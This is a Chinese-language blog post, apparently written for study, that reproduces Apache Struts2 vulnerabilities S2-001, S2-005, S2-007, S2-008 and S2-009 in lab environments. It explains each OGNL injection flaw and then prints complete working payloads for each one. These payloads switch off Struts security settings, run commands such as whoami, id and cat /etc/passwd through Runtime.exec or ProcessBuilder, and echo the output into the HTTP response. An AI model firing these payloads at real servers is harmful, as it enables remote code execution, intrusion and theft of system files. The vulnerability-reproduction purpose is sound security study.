首页 > 其他分享 >Struts2漏洞学习(s2-001——s2-009)

Struts2漏洞学习(s2-001——s2-009)

时间:2023-06-24 13:03:30浏览次数:43  
标签:lang java s2 Struts2 漏洞 001 2C% OGNL new

Struts2漏洞复现

Struts2是一个基于MVC设计模式的Web应用框架


Struts2漏洞学习(s2-001——s2-009)_struts2

S2-001

漏洞原理:

后端将用户之前提交的参数使用OGNL表达式%{}进行解析,然后重新填充到对应的表单数据中,例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL表达式解析,所以可以直接构造payload进行命令执行


OGNL的全称是Object-Graph Navigation Language,即对象图导航语言,它是一种功能强大的开源表达式语言。使用这种表达式语言可以通过某种表达式语法存取Java对象的任意属性,调用Java对象的方法,以及实现类型转行等。


影响版本


验证方法:

在输入框输入%{1+1}判断是否存在s2-001

Struts2漏洞学习(s2-001——s2-009)_java_02


提交后返回来{}里面的表达式

Struts2漏洞学习(s2-001——s2-009)_java_03



利用过程:



Struts2漏洞学习(s2-001——s2-009)_java_04



这里可以直接输入和直接回显。

复制POC到一个输入框点击submit

然后就会把数据提交到后端,后端检测值是否为空,然后返回。

Poc:

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}


放到输入框里查看回显结果:

Struts2漏洞学习(s2-001——s2-009)_java_05


执行任意命令:

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}



Struts2漏洞学习(s2-001——s2-009)_java_06


Struts2漏洞学习(s2-001——s2-009)_java_07


S2-005

漏洞原理:

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

简单理解为编码绕过和进制绕过,同时利用OGNL打开安全配置选项


漏洞利用:

环境打开如下

Struts2漏洞学习(s2-001——s2-009)_struts2_08

构建POC:

无回显:

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1

此poc分为三个部分,执行结果为在tmp文件夹下创建success文件

(1)(’\u0023_memberAccess[‘allowStaticMethodAccess’]’)(vaaa)=true

第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则。第一步完成后,就可以执行静态方法了。

(2)(aaaa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023vccc’)(\u0023vccc\u003dnew java.lang.Boolean(“false”)))

第二步将上下文中的xwork.MethodAccessor.denyMethodExecution设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。

(3)(asdf)((’\u0023rt.output(“touch@/tmp/success”.split("@"))’)(\u0023rt\[email protected]@getRuntime()))=1

第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。

有回显:

POC:

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\[email protected]@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\[email protected]@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))

(1)设置上下文denyMethodExecutinotallow=false 运行方法执行

(2)[email protected]@EMPTY_SET (@class@调用静态变量)设置外部拦截器为空

(3)mycmd=“whoami” 定义我们的执行命令的变量

(4)[email protected]@getRuntime().exec(\43mycmd)’) (调用静态方法执行我们的变量)

(5)mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 获取输入流 (post)

(6)myres=new data[51020];mydat.readfully(myres); 读取输入流

(5,6为了转换输入流的类型)

(7)mystr=new java.lang.String(#myres) ;定义并赋值输入流

(8)myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

(9)myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。

Struts2漏洞学习(s2-001——s2-009)_struts2_09


也可以利用struts2检测工具

Struts2漏洞学习(s2-001——s2-009)_java_10

执行命令:

Struts2漏洞学习(s2-001——s2-009)_java_11


S2-007


漏洞原理:

age参数只能是整数,非整数会导致错误,struts会将用户的输入当成ognl表达式执行,从而导致漏洞


漏洞利用:

在age参数处输入POC:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '


Struts2漏洞学习(s2-001——s2-009)_struts2_12

S2-008

漏洞原理:

对传入参数没有做严格限制,导致多个地方可执行恶意代码,传入?debug=command&expressinotallow= 即可执行OGNL表达式。

漏洞利用:


打开环境:

Struts2漏洞学习(s2-001——s2-009)_struts2_13

构建POC:

?debug=command&expressinotallow=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()


Struts2漏洞学习(s2-001——s2-009)_java_14


S2-009

漏洞原理:

当前版本的action中接受了某个参数example,这个参数将进入OGNL的上下文,我们可以将将OGNL表达式放入到example参数中,然后使用/HelloWorld.action?example=& (example)(‘xxx’)=1的方法来执行绕过

构造POC:

?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]


Struts2漏洞学习(s2-001——s2-009)_java_15





标签:lang,java,s2,Struts2,漏洞,001,2C%,OGNL,new
From: https://blog.51cto.com/u_16164891/6541048

相关文章

  • 吴恩达-斯坦福CS229机器学习课程-2017(秋)最新课程分享
    吴恩达主讲的机器学习-2017年秋季课程已经开课啦,今天跟大家分享这套课程。课程介绍本课程主要介绍机器学习和统计模式识别相关的知识。内容主要包括:监督学习(生成/判别学习,参数/非参数学习,神经网络,支持向量机);无监督学习(聚类,维数规约,核方法);学习理论(偏差/方差权衡;VC理论;大边缘概率......
  • 斯坦福2020年免费新课-CS221人工智能原理与技术-视频、ppt、参考书籍分享
        分享一套斯坦福大学在2020年初,2019年底放出一门免费精品课程-人工智能原理与技术课程,对于对于春节想要系统学习人工智能知识朋友绝对不容错过。课程介绍    这门课主要讲什么?网络搜索、语音识别、人脸识别、机器翻译、自动驾驶和自动调度有什么共同之处呢?这些都是复杂......
  • 双语斯坦福CS224W-图机器学习
    课程描述这门课是关于什么的?复杂的数据可以表示为对象之间的关系图。这种网络是社会、技术和生物系统建模的基本工具。本课程着重于大量图形分析的计算、算法和建模挑战。通过研究底层的图结构及其特征,学生们学习机器学习技术和数据挖掘工具,这些工具能够揭示各种网络的底层知识。主......
  • 斯坦福大学新课CS224W-2019-图网络机器学习算法-视频及ppt资源分享
    课程内容介绍   网络是建模复杂的社会,技术和生物系统的基本工具。结合在线社交网络的出现和生物科学中大规模数据的可用性,本课程着重分析大型网络,这些大型网络提出了一些计算,算法和建模方面的挑战。通过学习他们的底层网络结构和连接关系,向学生介绍了机器学习技术和数据挖掘工......
  • NC200179 Colorful Tree
    题目链接题目题目描述Atreestructurewithsomecolorsassociatedwithitsverticesandasequenceofcommandsonitaregiven.Acommandiseitheranupdateoperationoraqueryonthetree.Eachoftheupdateoperationschangesthecolorofaspecifiedvert......
  • 【雕爷学编程】Arduino动手做(118)---PS2接口模块
    37款传感器与执行器的提法,在网络上广泛流传,其实Arduino能够兼容的传感器模块肯定是不止这37种的。鉴于本人手头积累了一些传感器和执行器模块,依照实践出真知(一定要动手做)的理念,以学习和交流为目的,这里准备逐一动手尝试系列实验,不管成功(程序走通)与否,都会记录下来—小小的进步或是搞......
  • Linux Nacos2.2.0版本集群搭建,常见报错问题解决
    准备:服务器,nacos,mysql,nginx,java,mavenNacos官网:https://nacos.io下载地址github:https://github.com/alibaba/nacos相关版本问题,见nacos官网手册查看集群配置图:官方的: 本次搭建集群配置图:开始搭建:修改nacos的配置文件“application.properties,cluster.conf.ex......
  • node生成token报错:secretOrPrivateKey has a minimum key size of 2048 bits for RS25
    提要:在node生成token时利用用jsonwebtoken,利用非对称加密的生成token  constjwt=require("jsonwebtoken"); constprivateKey=fs.readFileSync("./keys/private.key");constpublicKey=fs.readFileSync("./keys/public.key");consttok......
  • [Leetcode] 0013. 罗马数字转整数
    13.罗马数字转整数点击上方,跳转至leetcode题目描述罗马数字包含以下七种字符: I, V, X, L,C,D 和 M。字符数值I1V5X10L50C100D500M1000例如,罗马数字2写......
  • [Leetcode] 0014. 最长公共前缀
    14.最长公共前缀点击上方,跳转至Leetcode题目描述编写一个函数来查找字符串数组中的最长公共前缀。如果不存在公共前缀,返回空字符串 ""。 示例1:输入:strs=["flower","flow","flight"]输出:"fl"示例2:输入:strs=["dog","racecar","car"]输出......